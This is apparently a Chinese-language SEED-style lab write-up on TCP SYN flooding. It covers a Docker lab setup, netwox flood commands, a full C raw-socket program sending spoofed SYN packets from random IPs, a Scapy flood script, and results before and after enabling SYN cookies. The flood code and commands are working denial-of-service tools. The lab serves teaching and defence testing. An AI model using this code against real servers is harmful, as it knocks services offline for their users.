文章目录
环境搭建
安装实验docker,保存下面的文件为docker-compose.yml:
version: "3"
services:
attacker:
image: handsonsecurity/seed-ubuntu:large
container_name: seed-attacker
tty: true
cap_add:
- ALL
privileged: true
volumes:
- ./volumes:/volumes
network_mode: host
Victim:
image: handsonsecurity/seed-ubuntu:large
container_name: victim-10.9.0.5
tty: true
cap_add:
- ALL
privileged: true
sysctls:
- net.ipv4.tcp_syncookies=0
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.5
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
User1:
image: handsonsecurity/seed-ubuntu:large
container_name: user1-10.9.0.6
tty: true
cap_add:
- ALL
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.6
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
User2:
image: handsonsecurity/seed-ubuntu:large
container_name: user2-10.9.0.7
tty: true
cap_add:
- ALL
networks:
net-10.9.0.0:
ipv4_address: 10.9.0.7
command: bash -c "
/etc/init.d/openbsd-inetd start &&
tail -f /dev/null
"
networks:
net-10.9.0.0:
name: net-10.9.0.0
ipam:
config:
- subnet: 10.9.0.0/24
然后执行下面命令,安装docker镜像
docker-compose -f docker-compose.yml up -d
使用 docker images
可以查看新添加的docker镜像
打开三个终端,其中一个终端为用户机,另两个终端开启docker,执行./run.sh
#run.sh
docker run -it --privileged "handsonsecurity/seed-ubuntu:large" /bin/bash
172.17.0.2为客户端,172.17.0.3为服务器,在服务器上运行./start.sh,开启telnet服务
/etc/init.d/openbsd-inetd restart
使用下面的命令可以查看是否打开了telnet
netstat -a | grep telnet
# tcp 0 0 0.0.0.0:telnet 0.0.0.0:* LISTEN
docker删除images,先执行docker images
查看待删除的镜像的ID,然后执行 docker ps -a
,查看有哪些容器正在使用该ID,然后对全部使用镜像ID的容器执行docker rm <container ID>
,最后再运行docker rmi <image ID>
。
攻击机IP:192.168.100.129
用户机IP:172.17.0.2
目标机IP:172.17.0.3
syn-cookies不启用,攻击前
攻击前用户机都可以用telnet正常连接服务器,开启syn-cookies防御且进行攻击,都可以正常连接,都是下面这张图片
syn-cookies不启用
a)使用netwox工具进行攻击
在攻击机上运行下面命令
sudo apt-get update
apt-get install netwox
netwox 76 -i 172.17.0.3<服务器IP> 23
在用户机上再次连接服务器,发现卡在Trying 172.17.0.3…很久,最后显示超时,攻击成功
攻击机:
用户机:
b)使用C语言编写的syn-flooding攻击
修改c代码的DEST_IP为服务器的IP地址,c代码为syn-flooding.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include "myheader.h"
#define DEST_IP "10.0.2.7"
#define DEST_PORT 23 // Attack the web server
#define PACKET_LEN 1500
unsigned short calculate_tcp_checksum(struct ipheader *ip);
void send_raw_ip_packet(struct ipheader* ip);
/******************************************************************
Spoof a TCP SYN packet.
*******************************************************************/
int main() {
char buffer[PACKET_LEN];
struct ipheader *ip = (struct ipheader *) buffer;
struct tcpheader *tcp = (struct tcpheader *) (buffer +
sizeof(struct ipheader));
srand(time(0)); // Initialize the seed for random # generation.
while (1) {
memset(buffer, 0, PACKET_LEN);
/*********************************************************
Step 1: Fill in the TCP header.
********************************************************/
tcp->tcp_sport = rand(); // Use random source port
tcp->tcp_dport = htons(DEST_PORT);
tcp->tcp_seq = rand(); // Use random sequence #
tcp->tcp_offx2 = 0x50;
tcp->tcp_flags = TH_SYN; // Enable the SYN bit
tcp->tcp_win = htons(20000);
tcp->tcp_sum = 0;
/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
ip->iph_ver = 4; // Version (IPV4)
ip->iph_ihl = 5; // Header length
ip->iph_ttl = 50; // Time to live
ip->iph_sourceip.s_addr = rand(); // Use a random IP address
ip->iph_destip.s_addr = inet_addr(DEST_IP);
ip->iph_protocol = IPPROTO_TCP; // The value is 6.
ip->iph_len = htons(sizeof(struct ipheader) +
sizeof(struct tcpheader));
// Calculate tcp checksum
tcp->tcp_sum = calculate_tcp_checksum(ip);
/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
send_raw_ip_packet(ip);
}
return 0;
}
/*************************************************************
Given an IP packet, send it out using a raw socket.
**************************************************************/
void send_raw_ip_packet(struct ipheader* ip)
{
struct sockaddr_in dest_info;
int enable = 1;
// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// Step 3: Provide needed information about destination.
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out.
sendto(sock, ip, ntohs(ip->iph_len), 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
unsigned short in_cksum (unsigned short *buf, int length)
{
unsigned short *w = buf;
int nleft = length;
int sum = 0;
unsigned short temp=0;
/*
* The algorithm uses a 32 bit accumulator (sum), adds
* sequential 16 bit words to it, and at the end, folds back all
* the carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* treat the odd byte at the end, if any */
if (nleft == 1) {
*(u_char *)(&temp) = *(u_char *)w ;
sum += temp;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16
sum += (sum >> 16); // add carry
return (unsigned short)(~sum);
}
/****************************************************************
TCP checksum is calculated on the pseudo header, which includes
the TCP header and data, plus some part of the IP header.
Therefore, we need to construct the pseudo header first.
*****************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader *ip)
{
struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
sizeof(struct ipheader));
int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);
/* pseudo tcp header for the checksum computation */
struct pseudo_tcp p_tcp;
memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));
p_tcp.saddr = ip->iph_sourceip.s_addr;
p_tcp.daddr = ip->iph_destip.s_addr;
p_tcp.mbz = 0;
p_tcp.ptcl = IPPROTO_TCP;
p_tcp.tcpl = htons(tcp_len);
memcpy(&p_tcp.tcp, tcp, tcp_len);
return (unsigned short) in_cksum((unsigned short *)&p_tcp,
tcp_len + 12);
}
myheader.h如下
/* Ethernet header */
struct ethheader {
u_char ether_dhost[6]; /* destination host address */
u_char ether_shost[6]; /* source host address */
u_short ether_type; /* IP? ARP? RARP? etc */
};
/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};
/* ICMP Header */
struct icmpheader {
unsigned char icmp_type; // ICMP message type
unsigned char icmp_code; // Error code
unsigned short int icmp_chksum; //Checksum for ICMP Header and data
unsigned short int icmp_id; //Used for identifying request
unsigned short int icmp_seq; //Sequence number
};
/* UDP Header */
struct udpheader
{
u_int16_t udp_sport; /* source port */
u_int16_t udp_dport; /* destination port */
u_int16_t udp_ulen; /* udp length */
u_int16_t udp_sum; /* udp checksum */
};
/* TCP Header */
struct tcpheader {
u_short tcp_sport; /* source port */
u_short tcp_dport; /* destination port */
u_int tcp_seq; /* sequence number */
u_int tcp_ack; /* acknowledgement number */
u_char tcp_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
u_char tcp_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short tcp_win; /* window */
u_short tcp_sum; /* checksum */
u_short tcp_urp; /* urgent pointer */
};
/* Psuedo TCP header */
struct pseudo_tcp
{
unsigned saddr, daddr;
unsigned char mbz;
unsigned char ptcl;
unsigned short tcpl;
struct tcpheader tcp;
char payload[1500];
};
使用用户机连接服务器,卡在半开连接当中,一般情况和上述一样,连接超时,有时需要等待很长时间,可以连接成功
服务器使用 netstat -a
查看telnet连接情况,发现服务器收到大量的syn报文,都是来自cbd3d7b69e8c,而IP地址和端口都是随机的
c)使用python编写的代码攻击
#!/usr/bin/python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
a = IP(dst="172.17.0.3")
b = TCP(sport=1551, dport=23, seq=1551, flags='S')
pkt = a/b
while True:
pkt['IP'].src = str(IPv4Address(getrandbits(32)))
send(pkt, verbose = 0)
但是效果不好,客户端很快就可以连接上服务端了,攻击失败,服务器还是能够收到许多syn报文,端口号都是1551
syn-cookies启用
现在开启syn-cookie防御机制,在服务器端执行下面命令
服务器端还是能够收到syn报文,但是用户机对于三种攻击都可以很快的正常连接上服务端